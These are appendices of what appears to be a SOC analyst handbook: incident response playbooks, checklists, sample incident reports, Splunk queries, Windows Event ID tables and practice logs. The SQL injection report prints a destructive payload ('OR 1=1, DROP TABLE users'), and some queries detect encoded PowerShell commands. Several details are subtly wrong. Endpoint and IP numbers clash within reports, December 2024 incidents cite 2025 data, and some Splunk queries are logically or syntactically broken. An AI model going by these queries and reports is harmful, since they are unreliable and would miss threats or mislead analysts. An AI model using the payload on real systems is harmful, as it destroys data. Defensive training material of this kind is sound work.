Scenario: An SSL certificate's validity is unexpectedly shortened, extended or modified, possibly indicating tampering.

Response Playbook:

1. Detection and Verification:
   - Validate the alert using certificate monitoring tools.
   - Compare changes with the expected validity timeline.
2. Containment:
   - Revoke the tampered SSL certificate if malicious activity is confirmed.
   - Suspend services relying on the compromised certificate.
3. Investigation:
   - Determine the cause of the validity change (e.g., misconfiguration or compromise).
   - Review certificate management logs for anomalies.
4. Eradication:
   - Address issues in the certificate issuance or renewal process.
   - Remove unauthorised access to certificate management systems.
5. Recovery:
   - Reissue and deploy a valid SSL certificate.
   - Conduct thorough validation of other certificates in use.
6. Post-Incident Actions:
   - Enhance SSL certificate monitoring and alerting policies.
   - Educate admins on secure certificate management practices.

C.11.5 Use Case: Suspicious Scheduled Task Creation

Scenario: A new scheduled task is created on a system without authorisation, potentially as part of malware persistence.

Response Playbook:

1. Detection and Verification:
   - Validate the alert by reviewing task creation logs and configurations.

- Correlate with recent system activity to identify the source.

2. Containment:
   - Disable or delete the suspicious scheduled task.
   - Isolate the affected system for further analysis.
3. Investigation:
   - Analyse the task's execution details, including scripts or programs triggered.
   - Identify associated processes or files for signs of compromise.
4. Eradication:
   - Remove malicious files or scripts linked to the task.
   - Patch vulnerabilities exploited during task creation.
5. Recovery:
   - Restore system functionality and validate task schedules.
   - Reinforce security settings to prevent unauthorised task creation.
6. Post-Incident Actions:
   - Update policies and monitoring for scheduled tasks.
   - Educate users on recognising and reporting suspicious activity.

C.12 Other Threats

C.12.1 Use Case: Detection of Rogue DHCP Server

Scenario: A rogue DHCP server is detected on the network, potentially redirecting traffic or launching a Man-in-the-Middle (MitM) attack.

Response Playbook:

1. Detection and Verification:
   - Validate the alert by scanning for unauthorised DHCP servers.
   - Compare detected DHCP servers against known authorised servers.
2. Containment:

- Block the rogue DHCP server at the switch or VLAN level.
- Quarantine the device hosting the rogue DHCP server.

3. Investigation:
    - Determine how the rogue DHCP server was introduced.
    - Analyse DHCP logs to identify affected devices and IP configurations.
4. Eradication:
    - Remove unauthorised devices hosting DHCP services.
    - Address network vulnerabilities that enabled the rogue server's introduction.
5. Recovery:
    - Restore affected devices with correct DHCP settings.
    - Verify network traffic routing is functioning properly.
6. Post-Incident Actions:
    - Enhance network monitoring for rogue DHCP server activity.
    - Implement stronger network access controls and switch configurations.

C.12.2 Use Case: Suspicious Use of Debugging Tools

Scenario: Unauthorised debugging tools are detected in use, potentially for reverse engineering or exploitation.

Response Playbook:

1. Detection and Verification:
    - Validate the alert by reviewing logs for debugging tool activity.
    - Identify the user or process initiating the debugging session.
2. Containment:
    - Terminate suspicious debugging sessions.
    - Restrict the user's access to critical systems during the investigation.
3. Investigation:
    - Determine the intent behind the use of debugging tools.

- Correlate debugging activity with other suspicious system actions.

4. Eradication:
   - Remove unauthorised debugging tools from affected systems.
   - Address permission or configuration issues that enabled debugging.
5. Recovery:
   - Reassess system integrity to ensure no exploitation occurred.
   - Reapply security configurations to affected systems.
6. Post-Incident Actions:
   - Restrict debugging tool usage to authorised users and systems.
   - Train staff on secure development and debugging practices.

C.12.3 Use Case: Suspicious Commands Executed via Command Line

Scenario: Malicious or anomalous commands are executed via the command line, potentially indicating privilege escalation or lateral movement.

Response Playbook:

1. Detection and Verification:
   - Validate the alert by reviewing command execution logs.
   - Identify the user or process initiating suspicious commands.
2. Containment:
   - Suspend the user account or process responsible for the commands.
   - Isolate the affected system to prevent further activity.
3. Investigation:
   - Analyse executed commands to determine intent and scope.
   - Correlate activity with other logs to identify the attack chain.
4. Eradication:
   - Remove malicious scripts or programs linked to the commands.
   - Patch vulnerabilities exploited to execute unauthorised commands.

5. Recovery:
   - Restore the system to a secure state.
   - Verify user access permissions and tighten restrictions.
6. Post-Incident Actions:
   - Enhance command line activity monitoring and alerting.
   - Provide users with training on secure command line usage.

C.12.4 Use Case: Detection of Unauthorised Remote Access Tools (RATs)

Scenario: A Remote Access Tool (RAT) is detected on a system without authorisation, potentially indicating malicious activity.

Response Playbook:

1. Detection and Verification:
   - Validate the alert by analysing RAT-related network traffic and system processes.
   - Confirm the RAT's presence using endpoint detection tools.
2. Containment:
   - Isolate the infected system to prevent command-and-control (C2) communication.
   - Block network traffic to the RAT's known C2 servers.
3. Investigation:
   - Analyse the RAT's functionality and behavior to assess its capabilities.
   - Determine how the RAT was installed and identify the attack vector.
4. Eradication:
   - Remove the RAT and its associated files or processes.
   - Address vulnerabilities that allowed the RAT to be deployed.
5. Recovery:
   - Rebuild the system or restore from a clean backup.
   - Verify network communication to ensure no residual C2 activity.

6. Post-Incident Actions:
    - Update threat intelligence with indicators of compromise (IoCs) for the RAT.
    - Enhance endpoint security measures to detect and prevent RATs.

APPENDIX D: INCIDENT RESPONSE CHECKLIST

This appendix provides a comprehensive checklist for handling cybersecurity incidents. It is designed to guide analysts and incident response (IR) teams through the critical steps of detection, containment, eradication, recovery and lessons learned.

D.1 Pre-Incident Preparation

- Incident Response Plan (IRP): Develop and regularly update an IRP.
- Team Training: Ensure all SOC and IR team members are trained and aware of their roles.
- Tools and Resources: Maintain up-to-date tools, scripts and playbooks for common scenarios.
- Contact List: Keep a current list of internal and external contacts (e.g., legal, PR, vendors).
- Backup Verification: Test backups regularly to ensure data can be restored.

D.2 Detection and Identification

- Monitor Alerts: Continuously monitor SIEM alerts and log data.
- Initial Triage: Identify and categorise the incident based on severity and impact.
- Validate Alerts: Confirm whether the alert is legitimate or a false positive.
- Gather Evidence: Collect relevant logs, network traffic and endpoint data.

D.3 Containment

- Isolate Affected Systems: Disconnect compromised systems from the network.
- Block Malicious IPs: Use firewalls or IDS/IPS to block malicious traffic.
- Preserve Evidence: Ensure no critical data is lost during containment efforts.
- Communicate with Stakeholders: Notify key personnel about the containment actions.

D.4 Eradication

- Identify Root Cause: Determine how the attacker gained access.

- Remove Malware/Threats: Clean affected systems of malware, backdoors or other threats.
- Patch Vulnerabilities: Apply security patches to address the root cause.
- Conduct Additional Scans: Verify that no residual threats remain.

D.5 Recovery

- Restore Systems: Reintroduce affected systems back into the production environment.
- Verify Integrity: Ensure systems are functioning normally and free of vulnerabilities.
- Monitor for Recurrence: Closely monitor systems for any signs of the incident recurring.

D.6 Post-Incident Analysis

- Conduct a Debrief: Review the incident with all relevant stakeholders.
- Document Lessons Learned: Note successes and areas for improvement.
- Update IR Plans: Adjust policies, playbooks and tools based on lessons learned.
- Report to Management: Provide a detailed report of the incident, actions taken and outcomes.

D.7 Incident Response Checklist by Incident Type

- Phishing Attack Response Checklist:
  - Analyse email headers and body.
  - Block sender’s domain or email address.
  - Notify affected users and reset credentials if necessary.
- Ransomware Attack Response Checklist:
  - Disconnect affected systems immediately.
  - Identify the ransomware variant.
  - Consult backups to determine restoration options.
- Data Breach Response Checklist:
  - Identify the extent of the breach.

- Notify legal and compliance teams.
- Communicate breach details to affected parties as per regulations.

APPENDIX E: INCIDENT REPORT TEMPLATES

Clear and structured incident reports are essential for documenting cybersecurity events, facilitating effective communication and ensuring proper follow-up actions. This appendix provides templates tailored for various types of cybersecurity incidents, including phishing, malware, data breaches, ransomware and more. Each template outlines the key sections and information that should be included to create comprehensive and actionable reports.

E.1 Phishing Incident Report Template

Title: Phishing Incident Report
Date and Time of Incident: 2024-12-30, 10:15 AM
Reported By: Izzmier (izzmier@company.com)

Incident Description: A phishing email was reported by an employee. The email impersonated the company's IT department, urging the recipient to click a link to verify their credentials. The link redirected to a malicious website designed to harvest login credentials.

Impact Assessment:

- Targeted Users: 50 employees.
- Affected Systems: None. Employee reported the email before clicking the link.

Analysis:

- Email Details:
  - Sender: it.support@fakeitdept.com
  - Subject: "Urgent: Verify Your Account Immediately"
  - Link: http://itdept-login-secure.com
- Indicators of Compromise (IOCs):
  - Domain registered two days before the email was sent.
  - The URL contained typos resembling the legitimate IT department domain.

Containment Measures:

- Blocked the sender's domain and URL in the email gateway.

- Alerted all employees via email about the phishing attempt, advising them to avoid clicking suspicious links.

Recommendations:

- Conduct a phishing awareness training session.
- Enable domain monitoring for similar typosquatting attempts.

Attachments:

- Screenshot of the phishing email.
- Log of email gateway actions blocking the domain.

E.2 Malware Analysis Report Template

Title: Malware Analysis Report
Date and Time of Detection: 2024-12-29, 3:30 PM
Detection Method: Antivirus alert on Endpoint 13.

Description of Malware: The detected malware, identified as Trojan.Generic.KD.32745, was embedded in a PDF attachment sent via email. The malware's primary function was to create a backdoor for remote access.

Analysis Summary:

- Static Analysis:
    - File Name: invoice_dec2025.pdf.exe
    - Hash Value: b63a9f0e8e7456741f6b223a3e2e71b5
    - Embedded Strings: "C2Server=maliciousdomain.com"
- Dynamic Analysis:
    - Opened a connection to maliciousdomain.com:8080.
    - Created a registry key for persistence: HKCU\Software\Microsoft\Windows\CurrentVersion\Run.

Impact Assessment:

- Affected Systems: Endpoint 13.

- Data Compromised: None detected during analysis.

Containment and Eradication:

- Disconnected Endpoint 12 from the network.
- Removed the malware using an antivirus tool.
- Cleared the registry entry and validated the system.

Recommendations:

- Update email filters to block executable attachments.
- Implement application whitelisting to prevent unauthorised executables.

Attachments:

- Hash values for malware samples.
- Screenshot of network traffic analysis showing the C2 connection.

E.3 Data Breach Report Template

Title: Data Breach Report
Date and Time of Detection: 2024-12-28, 11:45 AM
Incident Overview: An unauthorised access attempt was detected in the HR database, leading to the compromise of employee data. The attacker gained access via a stolen credential obtained from a phishing attack.

Scope of the Breach:

- Data Compromised:
    - Names, email addresses and salaries of 200 employees.
- Initial Detection: SIEM alert for unusual database queries originating from a privileged HR account.

Timeline of Events:

- 10:00 AM: Unusual login detected from IP 203.0.114.16.
- 10:05 AM: Suspicious queries executed on the HR database.

- 10:15 AM: SIEM triggered an alert, SOC intervened.

Root Cause Analysis:

- Phishing email sent to HR staff.
- Employee unknowingly provided login credentials via a fake website.

Containment Measures:

- Disabled compromised HR account.
- Blocked IP 203.0.114.15 at the firewall.

Recommendations:

- Conduct organisation-wide password resets.
- Enforce multi-factor authentication (MFA) for all privileged accounts.
- Enhance phishing awareness training.

Attachments:

- Logs of database queries.
- Screenshot of the phishing email received by HR staff.

E.4 Ransomware Incident Report Template

Title: Ransomware Incident Report
Date and Time of Detection: 2024-12-27, 8:00 PM
Detection Method: Endpoint EDR alerted abnormal file encryption activity on Server 7.

Description of Incident: Server 7 was infected with ransomware identified as LockBit 4.0. The ransomware encrypted critical files and displayed a ransom note demanding 5 Bitcoin for decryption keys.

Impact Assessment:

- Systems Affected: Server 7 (Accounting Files).
- Data Encrypted: Invoices and payroll records for Q4 2025.

Ransom Demand Details:

- Message: “Your files are encrypted. Pay 5 BTC to wallet 1FfmbHfnpaZjKFvyi1okTjJJusN455paPH to receive decryption keys.”
- Deadline: 2024-12-31, 11:59 PM.

Response Actions:

- Isolated Server 7 from the network to prevent further spread.
- Verified that the latest backups were unaffected.
- Restored encrypted files from backups after thorough malware removal.

Lessons Learned:

- Implemented endpoint detection improvements to flag ransomware activity earlier.
- Enhanced user training on avoiding phishing links, as initial infection vector was determined to be email-based.

Attachments:

- Screenshot of ransom note.
- Logs of encryption activity detected on Server 7.

E.5 Insider Threat Incident Report Template

Title: Insider Threat Incident Report
Date and Time of Detection: 2024-12-26, 2:30 PM
Reported By: Iffah, IT Manager

Incident Description: An employee attempted to download a large volume of sensitive financial records onto an unauthorised USB device. The activity was flagged by the Data Loss Prevention (DLP) system.

Impact Assessment:

- Data At Risk: Financial records of Q3 and Q4 2025.
- Affected Systems: Finance database.

Analysis:

- Activity Details:
    - User: Izzmier, Finance Department.
    - Action: Attempted to transfer 500 GB of financial data.
    - Device: USB with serial number 0015A732C0.
- Intent: Suspected malicious intent, investigation ongoing.

Containment Measures:

- Disabled the user’s account and confiscated the USB device.
- Increased monitoring on finance database activity.

Recommendations:

- Restrict USB usage across all systems.
- Conduct a forensic review of the user’s activities over the past six months.

Attachments:

- DLP system logs.
- Screenshots of the flagged activity.

E.6 SQL Injection Attack Incident Report Template

Title: SQL Injection Incident Report
Date and Time of Detection: 2024-12-25, 4:00 PM
Reported By: SOC Analyst

Incident Description: A SQL injection attack was detected targeting the organisation’s public web application. The attacker attempted to exploit a vulnerable login form to access the backend database.

Impact Assessment:

- Data Targeted: Customer records.
- Affected Systems: Customer Relationship Management (CRM) database.

Analysis:

- Source: IP 192.0.2.15, geolocated to a high-risk country.
- Attack Vector: Malicious SQL payload injected in login form.
  Example: ' OR 1=1, DROP TABLE users,--

Containment Measures:

- Blocked IP at the web application firewall (WAF).
- Patched the vulnerable web application.

Recommendations:

- Conduct a security audit of all input fields for injection vulnerabilities.
- Implement input sanitisation and prepared statements in the codebase.

Attachments:

- WAF logs detailing the attack attempts.
- Screenshot of malicious payload.

E.7 Social Engineering Attack Incident Report Template

Title: Social Engineering Incident Report
Date and Time of Detection: 2024-12-24, 11:00 AM
Reported By: HR Manager

Incident Description: An attacker impersonated a senior executive and called an HR representative, requesting employee tax documents under the pretext of urgent year-end reporting.

Impact Assessment:

- Data Shared: Partial employee tax records for 2024.
- Affected Employees: 15 individuals.

Analysis:

- Method: Vishing (voice phishing).

- Caller ID: Spoofed to resemble the executive's official number.

Containment Measures:

- Notified affected employees and advised them to monitor for identity theft.
- Reported the incident to the organisation's legal team.

Recommendations:

- Implement strict identity verification procedures for sensitive requests.
- Conduct training sessions on recognising social engineering tactics.

Attachments:

- Call transcript.
- Logs from the phone system showing spoofed number.

E.8 Brute Force Attack Incident Report Template

Title: Brute Force Attack Incident Report
Date and Time of Detection: 2024-12-23, 6:45 PM
Reported By: SOC Monitoring Team

Incident Description: The SIEM detected multiple failed login attempts on an administrative account originating from a foreign IP address. The attacker eventually gained access to the account.

Impact Assessment:

- Compromised Account: Admin@company.com.
- Data Accessed: Unknown, investigation ongoing.

Analysis:

- Source IP: 198.51.100.45.
- Method: Dictionary attack using common passwords.

Containment Measures:

- Locked the compromised account and initiated a password reset.
- Blocked the source IP at the firewall.

Recommendations:

- Enforce account lockouts after five failed attempts.
- Mandate strong password policies and implement MFA for all accounts.

Attachments:

- SIEM logs showing failed and successful login attempts.
- Network logs of suspicious activity.

E.9 Denial-of-Service (DoS) Attack Incident Report Template

Title: Denial-of-Service Attack Incident Report
Date and Time of Detection: 2024-12-22, 9:30 PM
Reported By: SOC Analyst

Incident Description: A denial-of-service (DoS) attack flooded the organisation's web server with excessive traffic, rendering the site inaccessible for 30 minutes.

Impact Assessment:

- Affected Service: Public-facing web server.
- Downtime: Approximately 30 minutes.

Analysis:

- Source IPs: Traffic originated from 5 IPs, indicating a simple DoS rather than a distributed attack.
- Traffic Pattern: 500,000 requests per minute to /login endpoint.

Containment Measures:

- Blocked offending IPs at the firewall.
- Applied rate-limiting rules on the web application firewall.

Recommendations:

- Enhance rate-limiting configurations to mitigate similar attacks.
- Monitor for potential escalation to DDoS.

Attachments:

- Logs showing traffic spikes and blocked IPs.
- Screenshot of server performance metrics during the attack.

E.10 Wireless Network Breach Incident Report Template

Title: Wireless Network Breach Incident Report
Date and Time of Detection: 2024-12-21, 1:15 PM
Reported By: IT Department

Incident Description: A rogue device was detected on the organisation’s guest Wi-Fi network, attempting to intercept traffic using a man-in-the-middle (MITM) attack.

Impact Assessment:

- Targeted Users: Guests and employees using the Wi-Fi.
- Data at Risk: Unencrypted network traffic.

Analysis:

- Device: Laptop with MAC address 00:1A:2B:3C:4D:5E.
- Method: ARP spoofing to redirect traffic.

Containment Measures:

- Disconnected the rogue device from the network.
- Enabled port security on all access points.

Recommendations:

- Enforce WPA3 encryption on all wireless networks.
- Conduct regular wireless security audits.

Attachments:

- Logs from wireless intrusion detection system (WIDS).
- Screenshot of rogue device's activity.

APPENDIX F: SPLUNK QUERY

Effective log analysis and monitoring are critical for identifying and responding to cybersecurity threats. Splunk's powerful search capabilities enable analysts to extract valuable insights from vast amounts of log data. This appendix provides a comprehensive collection of Splunk queries tailored for various use cases, including threat detection, incident investigation, compliance monitoring and reporting. Each query is designed to address specific challenges faced by SOC analysts, enhancing their ability to detect and respond to potential threats efficiently.

F.1 Basic Search and Filtering

- Search all logs in the last 7 days:

```
index=* earliest=-7d
```

- Filter logs by keyword "error":

```
index=* "error"
```

- Search for logs from a specific host:

```
index=* host="webserver01"
```

- Search for logs from a specific source type:

```
index=firewall sourcetype="cisco:asa"
```

- Exclude specific keywords:

```
index=* NOT "test"
```

F.2 User Activity and Authentication

- Search for all login attempts by a specific user:

```
index=authentication user="izzmier"
```

- Failed logins over the past 24 hours:

```
index=authentication action="failure" earliest=-24h
```

- Successful logins for a specific application:

```
index=app_logs app_name="SalesPortal" action="success"
```

- Monitor users logging in from multiple IPs within 1 hour:

```
index=authentication | stats dc(src_ip) as unique_ips by user | where unique_ips > 1
```

- Detect logins outside business hours:

```
index=authentication | where strftime(_time, "%H") > 18 OR strftime(_time, "%H") < 8
```

F.3 Network Traffic Analysis

- Identify top 10 source IPs by traffic volume:

```
index=network | stats sum(bytes) as total_bytes by src_ip | sort - total_bytes | head 10
```

- Filter traffic from a specific IP range:

```
index=network src_ip="192.168.*"
```

- Detect unusual outbound traffic to high-risk regions:

```
index=network dest_country="Russia" OR dest_country="China"
```

- Monitor traffic spikes on specific ports (e.g., port 22):

```
index=network dest_port=22 | timechart span=1h count
```

- Identify denied traffic by firewalls:

```
index=firewall action="deny"
```

F.4 Threat Detection

- Search for malware hash matches:

```
index=* file_hash="b63a9f0e8e7456741f6b223a3e2e71b5"
```

- Detect brute force attempts:

```
index=authentication action="failure" | stats count by user, src_ip | where count > 10
```

- Find lateral movement attempts:

```
index=authentication | stats values(dest_ip) as accessed_systems by user | where
mvcount(accessed_systems) > 3
```

- Detect data exfiltration via large outbound transfers:

```
index=network action="allowed" | stats sum(bytes) as total_bytes by src_ip | where
total_bytes > 1000000
```

- Search for connections to known malicious domains:

```
index=dns | lookup threat_intel.csv domain as query OUTPUT description | where
isnotnull(description)
```

F.5 Endpoint and Process Monitoring

- Detect high CPU usage by processes:

```
index=endpoint | where cpu_usage > 90
```

- Search for unsigned processes:

```
index=endpoint process_signed="false"
```

- Monitor antivirus detections:

```
index=endpoint antivirus_status="infected"
```

- Identify PowerShell usage with suspicious parameters:

```
index=endpoint process_name="powershell.exe" | search "Invoke-Expression"
```

- Detect newly installed services:

```
index=endpoint event="service_creation"
```

F.6 SIEM and Log Analysis

- View top 5 alert types in SIEM:

```
index=siem_logs | top limit=5 alert_type
```

- Monitor correlation rule triggers:

```
index=siem_logs correlation_rule="*" | stats count by correlation_rule
```

- Failed alert actions:

```
index=siem_logs action="failure"
```

- Identify noisy alerts:

```
index=siem_logs | stats count by src_ip | where count > 50
```

- Time-based alert trends:

```
index=siem_logs | timechart span=1d count
```

F.7 Reporting

- Generate a summary of all events by sourcetype:

```
index=* | stats count by sourcetype
```

- Create a daily trend of failed logins:

```
index=authentication action="failure" | timechart span=1d count
```

- Top 10 file types downloaded:

```
index=web_logs | stats count by file_type | sort - count | head 10
```

- Average response time for web requests:

```
index=web_logs | stats avg(response_time)
```

- List of top accessed URLs:

```
index=web_logs | top limit=10 url
```

F.8 Advanced Queries

- Detect anomalies in user login patterns:

```
index=authentication | anomalydetection method=adaptive threshold=3
```

- Search for encrypted outbound traffic on unusual ports:

```
index=network protocol="TLS" NOT dest_port=443
```

- Track privilege escalation attempts:

```
index=authentication | search "privilege escalated"
```

- Monitor failed script executions:

```
index=scripting action="failure"
```

- Correlate multiple sources for a single event:

```
index=network OR index=authentication | stats values(dest_ip) as ips by user
```

F.9 Incident Investigation

- Trace activities of a single user across logs:

```
index=* user="izzmier"
```

- Search for all files accessed by a specific account:

```
index=filesystem user="izzmier"
```

- Monitor data downloaded from shared drives:

```
index=filesystem action="download"
```

- Investigate unusual outbound email attachments:

```
index=email attachment_size>10000000
```

- Search for repeated access to sensitive directories:

```
index=filesystem | stats count by user, filepath | where count > 10
```

F.10 Real-Time Monitoring

- Monitor real-time login activity:

```
index=authentication | stats count by user, src_ip
```

- Detect real-time traffic spikes:

```
index=network | timechart span=1m sum(bytes)
```

- Monitor failed firewall rules in real-time:

```
index=firewall action="deny" | timechart span=1m count
```

- Alert on critical errors in application logs:

```
index=app_logs severity="critical"
```

- Real-time DNS query monitoring:

```
index=dns | stats count by query
```

F.11 Advanced Threat Detection

- Detect unusual outbound traffic volumes:

```
index=network action="allowed" | stats sum(bytes) by src_ip | where sum(bytes) > 5000000
```

- Search for beaconing behaviour in network traffic:

```
index=network | stats count by src_ip, dest_ip, _time | where count > 10
```

- Identify users accessing sensitive files outside normal hours:

```
index=filesystem | where strftime(_time, "%H") < 8 OR strftime(_time, "%H") > 18
```

- Monitor for file exfiltration via cloud storage:

```
index=cloud_logs action="upload"
```

- Detect malicious PowerShell scripts:

```
index=endpoint process_name="powershell.exe" | search "EncodedCommand"
```

F.12 Insider Threat Monitoring

- Search for data transfer to USB devices:

```
index=filesystem device_type="USB" action="write"
```

- Identify employees accessing unauthorised resources:

```
index=access_logs resource="*" status="denied"
```

- Detect privilege abuse by high-level users:

```
index=authentication user="admin*" action="modify"
```

- Monitor large downloads from file servers:

```
index=filesystem action="download" | stats sum(file_size) by user | where sum(file_size) > 10000000
```

- Trace unusual login locations for executives:

```
index=authentication user="exec*" | stats values(src_ip) by user
```

F.13 Malware Activity Investigation

- Search for logs tied to a specific malware family:

```
index=endpoint malware_name="Emotet"
```

- Monitor suspicious registry changes:

```
index=endpoint event="registry_modification"
```

- Identify processes spawned by known malicious hashes:

```
index=endpoint file_hash="*" | lookup threat_intel.csv hash OUTPUT description | where isnotnull(description)
```

- Detect unusual script execution patterns:

```
index=endpoint process_name="*.bat" | stats count by user
```

- Monitor newly created executable files:

```
index=filesystem file_extension="exe" action="create"
```

F.14 Data Leakage Prevention

- Monitor large email attachments:

```
index=email attachment_size>10000000
```

- Search for unauthorised cloud uploads:

```
index=cloud_logs action="upload" | where app="Dropbox" OR app="GoogleDrive"
```

- Identify downloads of sensitive files:

```
index=filesystem sensitivity="confidential" action="download"
```

- Detect unusual outbound FTP traffic:

```
index=network protocol="FTP" | stats sum(bytes) by src_ip
```

- Trace user activity leading to file deletion:

```
index=filesystem action="delete"
```

F.15 Real-Time Anomaly Detection

- Detect real-time failed login spikes:

```
index=authentication action="failure" | timechart span=1m count
```

- Monitor DNS queries for unusual domains:

```
index=dns | regex query!=".*company.com$"
```

- Identify real-time bandwidth spikes:

```
index=network | stats sum(bytes) as total by _time, src_ip | where total > 1000000
```

- Detect repeated failed attempts to access sensitive resources:

```
index=access_logs resource="confidential" status="denied" | stats count by user
```

- Track users initiating concurrent sessions:

```
index=authentication | stats dc(dest_ip) as session_count by user | where session_count > 2
```

F.16 Web Application Monitoring

- Identify top accessed URLs in a web app:

```
index=web_logs | top url
```

- Monitor web app login errors:

```
index=web_logs action="login_failure"
```

- Detect unusual HTTP methods (e.g., PUT or DELETE):

```
index=web_logs method="PUT" OR method="DELETE"
```

- Trace user activity across multiple sessions:

```
index=web_logs | stats values(session_id) by user
```

- Monitor web app slow response times:

```
index=web_logs | stats avg(response_time) by url
```

F.17 Incident Response and Forensics

- Trace activity of a compromised account:

```
index=* user="izzmier"
```

- Monitor newly opened network connections:

```
index=network action="connect" | stats values(dest_ip) by src_ip
```

- Search for processes accessing sensitive directories:

```
index=filesystem filepath="/sensitive_data/*"
```

- Detect repeated access to critical resources:

```
index=access_logs resource="critical" | stats count by user | where count > 5
```

- Identify users bypassing security policies:

```
index=policy_logs action="bypass"
```

F.18 Compliance Monitoring

- Monitor logs for GDPR-related data access:

```
index=access_logs sensitivity="personal"
```

- Trace HIPAA-sensitive file access:

```
index=filesystem sensitivity="medical" action="access"
```

- Identify PCI-DSS non-compliant traffic:

```
index=network protocol!="TLS" dest_port=443
```

- Detect unauthorised administrative access:

```
index=authentication role="admin" status="unauthorised"
```

- Generate a compliance report by activity type:

```
index=activity_logs | stats count by compliance_type
```

F.19 Threat Hunting

- Search for newly seen IP addresses in logs:

```
index=network | stats dc(src_ip) by _time
```

- Identify suspicious file executions:

```
index=endpoint action="execute" | where file_extension!="exe" OR file_extension!="dll"
```

- Trace anomalous system behaviour:

```
index=endpoint | anomalydetection method=mad threshold=3
```

- Monitor for known attack patterns in logs:

```
index=network | lookup attack_patterns.csv attack_id OUTPUT pattern | search pattern=*
```

- Search for suspicious lateral movement attempts:

```
index=network | stats values(dest_ip) by src_ip | where mvcount(dest_ip) > 5
```

F.20 Performance and Utilisation Monitoring

- Monitor system resource usage by processes:

```
index=endpoint | stats avg(cpu_usage), avg(memory_usage) by process_name
```

- Identify systems with high disk usage:

```
index=filesystem | stats max(disk_usage) by host | where disk_usage > 90
```

- Track network utilisation trends:

```
index=network | timechart span=1h sum(bytes)
```

- Generate a report on application uptime:

```
index=app_logs status="running" | stats count by _time
```

- Identify performance bottlenecks in services:

```
index=service_logs | stats avg(response_time) by service_name
```

APPENDIX G: WINDOWS EVENT IDS

Windows Event IDs are unique identifiers associated with specific events in a Windows operating system. These IDs are essential for monitoring and analysing system activity, particularly in cybersecurity operations. By understanding these Event IDs, security professionals can detect potential threats, troubleshoot issues and ensure system integrity. This appendix categorises critical Windows Event IDs into areas relevant to cybersecurity operations, providing a foundation for effective event analysis.

G.1 Account Logon and Authentication

This category includes Event IDs related to user logons and authentication attempts, helping track authorised and unauthorised access to systems.

Event ID	Description	Use Case
4624	Successful account logon	Monitor normal and unusual logon activities.
4625	Failed account logon	Detect brute force attempts and unauthorised access attempts.
4648	A logon was attempted using explicit credentials	Identify credential-stuffing attacks or unusual credential use.
4776	The domain controller attempted to validate creds	Investigate NTLM authentications and failed attempts.
4768	A Kerberos authentication ticket (TGT) was requested	Identify successful Kerberos authentications.

Table 5: Detail of Account Logon and Authentication

G.2 Account Management

These Event IDs capture changes made to user accounts, such as password resets, account creation or deletion, enabling monitoring of administrative activities.

Event ID	Description	Use Case
4720	A user account was created	Detect suspicious account creation activity.
4726	A user account was deleted	Monitor unauthorised account deletions.
4738	A user account was changed	Investigate changes to user attributes or group memberships.
4740	A user account was locked out	Detect account lockouts from brute force or misuse.
4781	The name of an account was changed	Identify potential account hijacking or renaming attempts.

Table 6: Detail of Account Management

G.3 Object Access

Object Access Event IDs track access to files, folders and other system resources, assisting in identifying unauthorised data access or modifications.

Event ID	Description	Use Case
4663	An attempt was made to access an object	Monitor access to critical files or directories.
4670	Permissions on an object were changed	Detect unauthorised changes to file permissions.
4698	A scheduled task was created	Identify suspicious task creation, often used by malware.
4699	A scheduled task was deleted	Track unexpected removal of scheduled tasks.
5140	A network share was accessed	Monitor sensitive file shares for unusual activity.

Table 7: Detail of Object Access

G.4 Privilege Use

Privilege Use Event IDs monitor the use of administrative or elevated privileges, highlighting potential misuse or exploitation of system permissions.

Event ID	Description	Use Case
4672	Special privileges assigned to a new logon	Detect accounts granted elevated privileges.
4673	A privileged service was called	Monitor privileged actions for unusual behaviour.
4674	An operation attempted to perform a privileged function	Investigate attempts to use system-level privileges.

Table 8: Detail of Privilege Use

G.5 System Integrity

System Integrity Event IDs focus on detecting changes to critical system components, ensuring the operating system remains secure and untampered.

Event ID	Description	Use Case
1102	The audit log was cleared	Investigate potential cover-up activity by an attacker.
4616	System time was changed	Monitor changes to system time, often used in attack setups.
5058	Key file operation	Track cryptographic key-related operations.

5059	Cryptographic operation failed	Identify failures in cryptographic operations.

Table 9: Detail of System Integrity

G.6 Logon Session Tracking

This category tracks the lifecycle of user logon sessions, providing insights into session start and end times for accountability and anomaly detection.

Event ID	Description	Use Case
4627	Group membership information	Track changes to group memberships during logon.
4634	An account was logged off	Monitor session terminations.
4647	User initiated logoff	Identify legitimate and suspicious logoff events.

Table 10: Detail of Logon Session Tracking

G.7 Network and Firewall Events

Network and Firewall Event IDs log network-related activity and firewall configuration changes, aiding in the detection of suspicious network behavior.

Event ID	Description	Use Case
5156	Allowed connection	Monitor connections allowed by the Windows Firewall.
5158	Opened a listening port	Track applications opening network ports for communication.
5145	A network share object was accessed	Investigate unauthorised access to shared resources.

Table 11: Detail of Network and Firewall Events

G.8 Malware and Threat Detection

Malware and Threat Detection Event IDs focus on identifying malicious activity, such as malware infections or exploitation attempts, to facilitate timely incident response.

Event ID	Description	Use Case
1116	Malware detection	Identify detections made by Windows Defender or other tools.
2000	Microsoft Defender ATP alert	Track alerts generated by Microsoft Defender ATP.
7031	Service terminated unexpectedly	Investigate critical service crashes, often linked to malware.

7034	Service terminated unexpectedly	Monitor abnormal service shutdowns.

Table 12: Detail of Malware and Threat Detection

APPENDIX H: SAMPLE SIEM LOGS FOR PRACTICE

This appendix provides a variety of sample logs that can be used to simulate real-world scenarios and help readers practice log analysis and incident detection. Each log comes with a brief description and suggested questions to guide the analysis process.

H.1 Firewall Logs

Example Log Entry:

```
<190>Oct 28 14:22:32 Firewall-1 kernel: [UFW BLOCK] IN=eth0 OUT=
MAC=00:15:5d:22:1a:8c SRC=192.168.1.50 DST=11.0.0.100 LEN=60 TOS=0x00
PREC=0x00 TTL=64 ID=54321 DF PROTO=TCP SPT=65432 DPT=22 WINDOW=14600
RES=0x00 SYN URGP=0
```

Description: A firewall blocking an inbound SSH connection attempt from an external IP address to a secured server.

Practice Questions:

1. What does the log indicate about the source of the traffic?
2. Why might this traffic have been blocked?
3. What actions should a SOC analyst take in response to this log?

H.2 Intrusion Detection System (IDS) Logs

Example Log Entry:

```
[**] [1:201005:10] ET SCAN Nmap Scripting Engine User-Agent Detected [**]

[Classification: Attempted Information Leak] [Priority: 2]

10/28-14:22:32.123456 192.168.1.100:52345 -> 11.0.0.200:80

TCP TTL:64 TOS:0x0 ID:12345 IpLen:20 DgmLen:512 DF
```

Description: An IDS alert indicating the detection of an Nmap scan with a suspicious user agent string.

Practice Questions:

1. What type of scan is indicated by this log?

2. Why is this event flagged as a priority 2 alert?
3. How should this event be correlated with other logs to determine the scope of the scan?

